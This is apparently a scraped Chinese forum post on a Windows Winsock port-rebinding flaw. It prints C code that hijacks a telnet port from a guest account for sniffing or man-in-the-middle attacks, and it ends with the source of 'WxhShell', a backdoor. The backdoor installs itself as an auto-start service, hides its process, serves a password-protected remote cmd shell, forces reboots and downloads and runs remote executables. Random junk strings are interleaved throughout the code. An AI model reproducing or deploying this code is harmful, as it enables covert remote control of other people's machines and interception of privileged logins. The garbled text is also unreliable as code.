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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c8"I]Qc7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZJ[ Uz_%W Z#MODf0H@ saddr.sin_family = AF_INET; 'HcDl@E 5!ReW39c; saddr.sin_addr.s_addr = htonl(INADDR_ANY); :M[E-j; rw\4KI@ L bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H@j ^, b);}x1L.T 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i)(QNpv }C&c=3V 这意味着什么?意味着可以进行如下的攻击: 8rpN2M3h l*m|b""].u 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ToJru VD3[ko 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T&23Pf 1 rzBWk 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !3&vgvr "&+0jfLY+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 (P>vI' +%Gm2e;_u 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _5LlL#) ^c7L!F 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]Ojt3)fB sk3;;<H 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Hf-F-~E %ej"ZeM #include x/S% NySG #include aBC[(}Pb] #include YaT07X.(b #include >PJ-Z~O'
DWORD WINAPI ClientThread(LPVOID lpParam); H= y-Y_R int main() Le'\x`B { r4lG 5dV WORD wVersionRequested; |5/[0V-vy DWORD ret; dbXG?K][ WSADATA wsaData; mHMej@ BOOL val; vPsX!m[# SOCKADDR_IN saddr; KE3v3g< SOCKADDR_IN scaddr; o <'gM]$ int err; HY:@=%R SOCKET s; D_)vGvv3;. SOCKET sc; T:&+#0< int caddsize; N.`]D)57 HANDLE mt; t;1NzI$^ DWORD tid; ~GeYB6F wVersionRequested = MAKEWORD( 2, 2 ); ~<U3KB err = WSAStartup( wVersionRequested, &wsaData ); FS}z_G|4] if ( err != 0 ) { +J4t0x printf("error!WSAStartup failed!\n"); %dU}GYL_ return -1; /YbL{G
)j} } eBV{B70k saddr.sin_family = AF_INET; 7| T:TbY> ^Bb_NcU //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HW G~m:km S_CtEM saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vSA%A47G saddr.sin_port = htons(23); 8#Z5-",iw if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /fq6-;co+ { PS22$_} printf("error!socket failed!\n"); ("oA{:@d return -1; 0R]CI } bsry([N>w val = TRUE; XL3h ;$, //SO_REUSEADDR选项就是可以实现端口重绑定的 z&0V21"l if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QBy*y $ { D=>^m=?0 printf("error!setsockopt failed!\n"); +;Gl>$ return -1; ~e+w@ lK } Q=8
cBRe //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u3:Q t2^S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,')bO*Ng //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -!cAr
< b9N4Gr if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o%%fO { ^!qmlx* ret=GetLastError(); 0)]1)z(P printf("error!bind failed!\n"); kk'w@Sn.( return -1; n:D*r$ C|p } ,Tl5@RN listen(s,2); .[fz x` while(1) 3>" h*U# { U;GoC$b}| caddsize = sizeof(scaddr); (<X dj^v //接受连接请求 C(|5,P#5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +_dYfux if(sc!=INVALID_SOCKET) \xxVDr. { i 8Xz mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~a%hRJg if(mt==NULL) RKkI/ Z0 { NR&9:? printf("Thread Creat Failed!\n"); *"\Q ~#W break; BfT, } Z5L1^ } uFWgq::\ CloseHandle(mt); tJPRR_nZv } )X;cS}
yp closesocket(s); )<F\IM WSACleanup(); }Xi#x*-D return 0;
7yTe]O } Xh"iP % DWORD WINAPI ClientThread(LPVOID lpParam) n;-r
W;ZO { _%vqBr* SOCKET ss = (SOCKET)lpParam; +[/r^C SOCKET sc; NCFV unsigned char buf[4096]; >}{-! SOCKADDR_IN saddr; Td1ba ^J long num; *v ^"4 DWORD val; Sp,Q,Q4 DWORD ret; O + &
xb //如果是隐藏端口应用的话,可以在此处加一些判断 !(K{*7|h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 b6vYM_ Q saddr.sin_family = AF_INET; -0da"AB saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); oB
R(7U~0 saddr.sin_port = htons(23); MK" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Zw][c7% { x,gE$dNzy printf("error!socket failed!\n"); u^zitW!X$ return -1; 4E\ntufo } V55J[s*6! val = 100; t}k'Ba3]:Y if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MW~B[%/ { (mIJI,[xn ret = GetLastError(); lp-Zx[#`}C return -1; m%c0#=D } F}(QKO* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n
E}<e: { Ygi1"X} ret = GetLastError(); 4F,Ql"ae( return -1; 4<<bk_7' } L?27q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 36x:(-GFq { !5%5]9'n@* printf("error!socket connect failed!\n"); asN
} closesocket(sc); }FiN 7# closesocket(ss); ,i?!3oLT return -1; Y\e]2 } SWjQ.aM while(1) Q!Ow{(| { ioNa~F& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pJIE@Q|hi //如果是嗅探内容的话,可以再此处进行内容分析和记录 _*ouo<x //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NTXL>Q*e num = recv(ss,buf,4096,0); >2CusT 2 if(num>0) b]<HhU send(sc,buf,num,0); VNrO(j DUv else if(num==0) MJKl]& break; cYM~IA num = recv(sc,buf,4096,0); U+PCvl=x if(num>0) #C1A5JE& send(ss,buf,num,0); ,r 2VP\hLh else if(num==0) V.Ba''E7 break; )s<WG} } Yuo1'gE+ closesocket(ss); ?QSx8d closesocket(sc); 20l_ay return 0 ; n R\n\
} Sci4EGc /witDu7 I\rZk9F ========================================================== 2PR7M.V7 >mFX^t_, 下边附上一个代码,,WXhSHELL x`+
l# lIVxW+ ========================================================== w"a 9'r L;S*.Ol> #include "stdafx.h" 4l
ZJb HKiVEg #include <stdio.h> =Esbeb7P #include <string.h> ,t%CK!8 #include <windows.h> ?S@R~y0K #include <winsock2.h> }-{ b$6] #include <winsvc.h> `[@^m5?b- #include <urlmon.h> 2rO)qjiH M*O(+EM #pragma comment (lib, "Ws2_32.lib") IQw
%|^ #pragma comment (lib, "urlmon.lib") *hZ~i{c,7 ;Lsjh# #define MAX_USER 100 // 最大客户端连接数 GL5^_`n #define BUF_SOCK 200 // sock buffer i9;27tT~< #define KEY_BUFF 255 // 输入 buffer }*.:Hv" j!S1Y0CV #define REBOOT 0 // 重启 w`j*W$82 #define SHUTDOWN 1 // 关机 [T 4 pgt'H lj EB #define DEF_PORT 5000 // 监听端口 (3ZvXpzvF =s0g2Zv"\ #define REG_LEN 16 // 注册表键长度 pfL2v,]g #define SVC_LEN 80 // NT服务名长度 r}R^<y@I dqD;y#/ // 从dll定义API 8K.s@< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oE!hF }O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }0BL0N`_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NqT1buU# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ApG'jN gHvW
e // wxhshell配置信息 #juGD9e struct WSCFG { x/%7%_+' int ws_port; // 监听端口 rkfQr9Vc char ws_passstr[REG_LEN]; // 口令 9V=<| 2 int ws_autoins; // 安装标记, 1=yes 0=no
8>Du char ws_regname[REG_LEN]; // 注册表键名 d<^_w!4X} char ws_svcname[REG_LEN]; // 服务名 QJ a4R char ws_svcdisp[SVC_LEN]; // 服务显示名 hGed/Yr char ws_svcdesc[SVC_LEN]; // 服务描述信息 dd\bI_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [xtK"E# int ws_downexe; // 下载执行标记, 1=yes 0=no |"CJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" AZxrJ2G char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NV8]#b [|a(
y6Q }; 068WlF cWV ;'=VrE6 // default Wxhshell configuration X2\E9hJg struct WSCFG wscfg={DEF_PORT, X)Dqeb6 "xuhuanlingzhe", DC|xilP1O 1, 9 m\)\/V "Wxhshell", S9G8aea/ "Wxhshell", 0
&*P}U}Uc "WxhShell Service", m x3}m?WQ "Wrsky Windows CmdShell Service", [as-3&5S "Please Input Your Password: ", _kn]#^ucCe 1, +P[88! " http://www.wrsky.com/wxhshell.exe", u?q&K|
"Wxhshell.exe" Zk]k1]u*5 }; 6sYV7w,'@ .-.q3ib // 消息定义模块 m!#_CQ: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F~z_>1lpP& char *msg_ws_prompt="\n\r? for help\n\r#>"; u lH0%`Fi char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; V.;:u#{@-Q char *msg_ws_ext="\n\rExit."; M4TrnZ1D} char *msg_ws_end="\n\rQuit."; DH\wDQ char *msg_ws_boot="\n\rReboot..."; a?zR8$t| char *msg_ws_poff="\n\rShutdown..."; EkRdpiLB char *msg_ws_down="\n\rSave to "; "?i>p z 5U0ytDZ2/( char *msg_ws_err="\n\rErr!"; '"`
Lv/ char *msg_ws_ok="\n\rOK!"; [#7y[<.P lir&e
9I+ char ExeFile[MAX_PATH]; D3%l4.h int nUser = 0; tgO+*q5B HANDLE handles[MAX_USER]; PSW#^o int OsIsNt; R'G'&H{N 0fnZR$PB SERVICE_STATUS serviceStatus; } c{Fa& SERVICE_STATUS_HANDLE hServiceStatusHandle; =a?a@+ gWFL // 函数声明 UskZ%J int Install(void); 8W-]t1O%! int Uninstall(void); }US7Nw int DownloadFile(char *sURL, SOCKET wsh); uyL72($ int Boot(int flag); \4OK!6LkI void HideProc(void); B^Xy0fq int GetOsVer(void); dav vI$TA int Wxhshell(SOCKET wsl); k?^%hO>[ void TalkWithClient(void *cs); ,q8(]n4 int CmdShell(SOCKET sock); >4Iv[ D1 int StartFromService(void); N\_( w:q int StartWxhshell(LPSTR lpCmdLine); "3@KRb4f Lb!r(o>8Cb VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dO+kPC VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7k3p'FeS HKpD2M // 数据结构和表定义 PdR >;$1 SERVICE_TABLE_ENTRY DispatchTable[] = 0;vtdM[_ { )nhfkW=e {wscfg.ws_svcname, NTServiceMain}, rwoF}} {NULL, NULL} q1UBKhpnH }; --Oprl }W1^t // 自我安装 /M 0 p_4 int Install(void) u/} xE7G { {b(rm,% char svExeFile[MAX_PATH]; f](I.lm: HKEY key; Y\.DQ strcpy(svExeFile,ExeFile); =h(7rU"Yz #De(*&y2 // 如果是win9x系统,修改注册表设为自启动 JdtPY~k0 if(!OsIsNt) { -eUV`&[4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NzAQ@E2d: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hr8\QgD<4 RegCloseKey(key); /;DjJpwf0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^,Xa IP+[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :#Ty^-"]1 RegCloseKey(key); _~PO return 0; s){Q&E~X } 1c'79YU } 5KK{%6#f\ } "rVU4F) else { @Eo4U]- kr#I{gF // 如果是NT以上系统,安装为系统服务 ~fBex_.o* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gTnS[ if (schSCManager!=0) oK)[p!D?0{ { &%6NQWW SC_HANDLE schService = CreateService FK6K6wU52m ( z=B<
`}@3 schSCManager, :aH%bk wscfg.ws_svcname, MZ)T0|S_ wscfg.ws_svcdisp, AhR0zg SERVICE_ALL_ACCESS, ~,T+JX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Oohq9f#! SERVICE_AUTO_START, )qmFK
.;% SERVICE_ERROR_NORMAL, goB;EWz svExeFile, gd
K*"U NULL,
F,zG;_ NULL, _1P`]+K\D$ NULL, PzLJ/QER NULL, YN/u9[=` NULL C*a,<` ); `T=1<Tw c if (schService!=0) $}db /hY* { 9T$u+GX' CloseServiceHandle(schService); V#NtBreN CloseServiceHandle(schSCManager); ER_ 3' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b )Tl* strcat(svExeFile,wscfg.ws_svcname); >zFD$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B_cgWJ*4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :Z[(A"dA RegCloseKey(key); ~U9q-/(J/ return 0; 4Ppop } &;s<dDQK } SAy{YOLtl CloseServiceHandle(schSCManager); s047"Q } LaclC]yLU } \KCWYi] lr0M<5d=p return 1; zXjwnep } AxEc^Cof rEmwKZF' // 自我卸载 Si]X
rub int Uninstall(void) gn^!"MN+g { `4skwvS= HKEY key; QypZH"Np \ZsP]};* if(!OsIsNt) { Ts#pUoE~+H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wa<-AZnh RegDeleteValue(key,wscfg.ws_regname); 9ZhDZ~)p, RegCloseKey(key); %P;[fJ
`G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QAi1,+y]7w RegDeleteValue(key,wscfg.ws_regname); u3ST; RegCloseKey(key); ^;4YZwW5w return 0; a5)JkC } ncj!KyU } #hy+ L } {l@WCR else { n_}aZB3;U %XR<isn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~TM>"eB b if (schSCManager!=0) -zdmr"CA { +X[8wUm|^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SwX@I6huM if (schService!=0) n7S;
Xve# { djfU:$!j& if(DeleteService(schService)!=0) { @i{]4rk lv CloseServiceHandle(schService); KJX>DL 9\ CloseServiceHandle(schSCManager); \f<z*!,D$ return 0; &Q~)]|t } cf\&No?-p CloseServiceHandle(schService); G1/Gq.< } .zIgbv s CloseServiceHandle(schSCManager); m
&!XA } /S[?{Q A } - zQ<ZE A$:|Qd7F1 return 1; b Ob
Nc } !?b/-~o7S ki#bPgT // 从指定url下载文件 )'t&q/Wn int DownloadFile(char *sURL, SOCKET wsh) 5D
L,U(Y { 8gAu7\p} HRESULT hr; {:$NfW char seps[]= "/"; XfDX:b1p char *token; M9DgO4xl char *file; hX3@f;[B2 char myURL[MAX_PATH]; 5VZjDg? char myFILE[MAX_PATH]; 7DZTQUb" Z vRxi&Z{? strcpy(myURL,sURL); ntZ~m token=strtok(myURL,seps); "[.ne)/MC while(token!=NULL) +KP_yUq[ { fK"iF@=Z` file=token; c$A@T~$ token=strtok(NULL,seps); (kY@7)d'e } qlvwK&W<QM djGs~H>;U_ GetCurrentDirectory(MAX_PATH,myFILE); x 'mF&^ strcat(myFILE, "\\"); gH'3 dS!{ strcat(myFILE, file); 0MrN:M2B send(wsh,myFILE,strlen(myFILE),0); (0}j]p'w send(wsh,"...",3,0); #D0 ~{H hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `O
n(v if(hr==S_OK) x0ne8NDP return 0; Why"G1` else f"P$f8$ return 1; _A3X6 U=DEV7 E } Zw24f1iY 8i[LR#D) // 系统电源模块 N|<bVq% int Boot(int flag) T%~SM5 { A2BRbwr> HANDLE hToken; t}~UYG(h~ TOKEN_PRIVILEGES tkp; #Cx%OIi[f Ld~ q1*7J if(OsIsNt) { ?BsH{QRYQ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wc\+x1 :8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZB0+GG\ tkp.PrivilegeCount = 1; S<pkc8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2vvh|?M AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C`EY5"N r if(flag==REBOOT) { GW8CaTf~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2LZS|fB9o return 0; MQ9vPgh } Qi^;1& else { NWaO_sm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #g{Mne return 0; v2=/[E@ } ;W6-i2? } Vd<K4Tk else { 'kQ~ if(flag==REBOOT) { ZPvf-PqJl if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CW;m return 0; sUV>@UMnu } 0Z8/R else { }DHUTP2;yz if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y@aKNWy}$ return 0; K:a3+k d } +f$Z-U1H/ } ^Et,TF\ 8W$L:{ez return 1; H `5Ct } x=vK
EyS@ BUDGyl/= // win9x进程隐藏模块 X|Dpt2A= void HideProc(void) 0e\y~#- { j/'
g$ s>r ^r%uK HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )mG0g@ qOK if ( hKernel != NULL ) )ji@k(x27q { D:)~%wu Lt pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OEI3eizgH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XR+rT FreeLibrary(hKernel); 9t0Cj/w} } ` yYvYc 3C#RjA-2[ return; zb?kpd}r } 7*MU2gb "qE {a>d // 获取操作系统版本 o X@nP?\ int GetOsVer(void) cd+^=esSO { 0-GKu d OSVERSIONINFO winfo; ]!J<,f7W winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ki3 HcV GetVersionEx(&winfo); -O %[!&` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q}sK return 1; RAwk7F3qn else nzWQQra|? return 0; NnP.k7m) } \imp7}N phmVkV2a;# // 客户端句柄模块 P#v^"}.Wd int Wxhshell(SOCKET wsl) "f<#.}8 { .aJ%am/:% SOCKET wsh; 7jT#BWt struct sockaddr_in client; E[ 0Sst x DWORD myID; _jo$)x+'x oSmjs while(nUser<MAX_USER) P8IRH#ED {
WAv@F[ int nSize=sizeof(client); oc:x&`j wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V(DjF=8 if(wsh==INVALID_SOCKET) return 1; *#6|!%?g 2^J/6R$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7N6zqjIB if(handles[nUser]==0) hR0]8l| closesocket(wsh); r.?+gW!C else A]#_"fayo nUser++; ;AltNGcM } ~ur)fAuF2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O/$ v69: 9\:w8M X' return 0; DP0Z*8Ia } 3<3t;&e @BXaA0F4 // 关闭 socket Kn.iyR void CloseIt(SOCKET wsh) {o {#]fbO% { |veBq0U closesocket(wsh); t"tNtLI nUser--; q 7` ExitThread(0); B6uf;Yc } 9!cW .jCk#@+ // 客户端请求句柄 e_^KI void TalkWithClient(void *cs) t9]r
{ sZT VM9<) bje'Oolc SOCKET wsh=(SOCKET)cs; z30= ay1 char pwd[SVC_LEN]; f!(cD80 char cmd[KEY_BUFF]; ?o@E1:aA char chr[1]; 5uzpTNAMM1 int i,j; <9T
[yg X!m;uJZp while (nUser < MAX_USER) { oR7 7` u$\Tg3du2 if(wscfg.ws_passstr) { ~O8]3+U if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y^3,X_0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R4yJ.f //ZeroMemory(pwd,KEY_BUFF); -^0KE/ i=0; =qan%=0"h while(i<SVC_LEN) { :ECw
\_"0$ C>M6&= // 设置超时 6mX: =Q fd_set FdRead; 8XgVY9]Qm struct timeval TimeOut; eMztjN FD_ZERO(&FdRead); /1U,+g^O> FD_SET(wsh,&FdRead); aQC7 V !v TimeOut.tv_sec=8; ?fm2qrV@fp TimeOut.tv_usec=0; \#HL`R" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N#mK7|\c?: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dfnX!C~6 \ ]D?oQ$q7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p<ry$=` pwd =chr[0]; -B",&yTV if(chr[0]==0xd || chr[0]==0xa) { XPrY`,kN pwd=0; Fv<]mu break; Gl=@>Dc% } &MBOAHhze i++;
I)qKS@ } (Jm(}X]sh[ P~;<o!f // 如果是非法用户,关闭 socket A=y24m if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *pmoLiuB> } 9.^-us1 U. NeK{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MI?]8+l send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qEPf-O:lm A5`#Ot*3 while(1) { l[:^TfB VNr!|bp5 ZeroMemory(cmd,KEY_BUFF); 4c~*hMry 1V#B]x: // 自动支持客户端 telnet标准 rAtai}Lx j=0; w}fqs/)w while(j<KEY_BUFF) { "~B~{ _<j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Jc$BMaVg cmd[j]=chr[0]; }Z<D^Z~w if(chr[0]==0xa || chr[0]==0xd) { r@\,VD6J cmd[j]=0; ,!xz*o+#@ break; eYPt } ~]jx+6k] j++; N. ItyV } EG8%~k+R Fa Qu$q // 下载文件 ytuWT,u if(strstr(cmd,"http://")) { Nu>sp,|A send(wsh,msg_ws_down,strlen(msg_ws_down),0); EY=\C$3J: if(DownloadFile(cmd,wsh)) nI((ki}v send(wsh,msg_ws_err,strlen(msg_ws_err),0); ";%e~
= else eG a#$x?. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z_ iQU1
} 7R%
PVgS4x else { $sB48LJuU' eA;j/&qH switch(cmd[0]) { iPR!JX
_ :Q0?ub] // 帮助 (Q*2dd> case '?': { LbLbJ{68 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T +|J19 break; `Pz!SJ| } 5pN08+ // 安装 Off: ~ case 'i': { )of5229 if(Install()) eHfG;NsV/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); GFSlYG else Jv '3]( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fj4l %= break;
oi%5t)VsS } 0%(4G83gw // 卸载 P"[ifsp case 'r': { )j)y5_m if(Uninstall()) j};pv 2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); >vNk kxWyQ else sWqPw}/3> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tIg CF? break; $Sc08ro } ,Jw\3T1V // 显示 wxhshell 所在路径 0e7O#- case 'p': { +qu@dU0\`| char svExeFile[MAX_PATH]; ;'Z,[ a strcpy(svExeFile,"\n\r"); P %U9S strcat(svExeFile,ExeFile); ~0Q\Lp); send(wsh,svExeFile,strlen(svExeFile),0); * 7zN break; [xp~@5r' } 4`EvEv$i // 重启 GT1 X case 'b': { !<['iM send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ||"":K if(Boot(REBOOT)) eX]9mQ]E send(wsh,msg_ws_err,strlen(msg_ws_err),0); MFCbx># else { pX h^M{. closesocket(wsh); :*w:eKk ExitThread(0); `,8R~-GPD } p0:&7,+a, break; 4u{E D( } Cx1Sh#9 // 关机 z!t3xFN&/ case 'd': { Kr+Bty send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A{n*NxKCX! if(Boot(SHUTDOWN)) 2C
8L\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); eL]w' }\ else { <whPM closesocket(wsh); rwV u?W ExitThread(0); l,FG:"`Z@ } ;]O 7^s#v break; ~n]2)>6 } 3<1HqU // 获取shell >>
8KL`l case 's': { ko7-%+0|] CmdShell(wsh); zxynEdO closesocket(wsh); {KQ-Ce-6 ExitThread(0); v'2OHb# break; S92!jp/ } R~seUW7uv" // 退出 kdueQ(\ case 'x': { `- uZv send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WTy8 N CloseIt(wsh); L^ jC&
dF break; JXa%TpI:
E } `'k's]Y // 离开 iTBhLg, case 'q': { u3?Pp[tM< send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wn9Mr2r!*, closesocket(wsh); )*QTxN WSACleanup();
"lnk exit(1); %+OPas8C break; %w|3: } 3E2.v5* } 2*",{m } |(8Hk@\CT> /n 3&e // 提示信息 fm2M i~}0 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L5N{ie_ } /
)u,Oa } X72X:" YNQ6(HA return; 1Qe! } !iz vY PHL@1K{) // shell模块句柄 hy`)]>9z~ int CmdShell(SOCKET sock) Q1&dB{L {
7~9f rW<K STARTUPINFO si; 2B?i2[a, ZeroMemory(&si,sizeof(si)); g4qdm{BL si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C-
Rie[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9TN5|x PROCESS_INFORMATION ProcessInfo; -/{}^QWB char cmdline[]="cmd"; V4i%|vV CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X|B;>q return 0; `Q^Sm`R } ?{P6AF-xcf :\;uJ5
// 自身启动模式 .`#R%4Xl int StartFromService(void) *xVAm7_v { o[ W3/ typedef struct *K^O oS { zi[M{bm DWORD ExitStatus; 2/q=l? DWORD PebBaseAddress; wupD DWORD AffinityMask; =9@yJ9c- DWORD BasePriority; __%E!*m"<_ ULONG UniqueProcessId; _%%"Y} ULONG InheritedFromUniqueProcessId; j;'Wf[V } PROCESS_BASIC_INFORMATION; ^TuEp$Z= la 7QN QW PROCNTQSIP NtQueryInformationProcess; ,T[
